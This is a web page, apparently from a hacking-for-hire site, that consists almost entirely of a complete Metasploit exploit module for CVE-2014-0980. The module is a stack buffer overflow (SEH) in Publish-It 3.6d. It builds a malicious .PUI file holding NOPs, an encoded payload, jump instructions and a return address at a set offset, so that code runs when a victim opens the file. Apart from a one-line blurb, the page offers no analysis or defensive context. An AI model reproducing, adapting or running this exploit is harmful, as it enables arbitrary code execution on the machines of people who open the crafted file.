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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'Publish-It PUI Buffer Overflow (SEH)',
      'Description'  => %q{
          This module exploits a stack based buffer overflow in Publish-It when
          processing a specially crafted .PUI file. This vulnerability could be
          exploited by a remote attacker to execute arbitrary code on the target
          machine by enticing a user of Publish-It to open a malicious .PUI file.
      },
      'License'    => MSF_LICENSE,
      'Author'    =>
        [
          'Daniel Kazimirow',  # Original discovery
          'Andrew Smith "jakx_"',  # Exploit and MSF Module
        ],
      'References'  =>
        [
          [ 'OSVDB', '102911' ],
          [ 'CVE', '2014-0980' ],
          [ 'EDB', '31461' ]
        ],
      'DefaultOptions' =>
        {
          'ExitFunction' => 'process',
        },
      'Platform'  => 'win',
      'Payload'  =>
        {
          'BadChars' => "\x00\x0b\x0a",
          'DisableNops' => true,
          'Space' => 377
        },
      'Targets'    =>
        [
          [ 'Publish-It 3.6d',
            {
              'Ret'     =>  0x0046e95a, #p/p/r | Publish.EXE
              'Offset'  =>  1082
            }
          ],
        ],
      'Privileged'  => false,
      'DisclosureDate'  => 'Feb 5 2014',
      'DefaultTarget'  => 0))

    register_options([OptString.new('FILENAME', [ true, 'The file name.', 'msf.pui']),], self.class)

  end

  def exploit

    path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0980.pui")
    fd = File.open(path, "rb")
    template_data = fd.read(fd.stat.size)
    fd.close

    buffer = template_data
    buffer << make_nops(700)
    buffer << payload.encoded
    buffer << make_nops(target['Offset']-payload.encoded.length-700-5)
    buffer << Rex::Arch::X86.jmp('$-399') #long negative jump -399
    buffer << Rex::Arch::X86.jmp_short('$-24') #nseh negative jump
    buffer << make_nops(2)
    buffer << [target.ret].pack("V")

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(buffer)

  end
end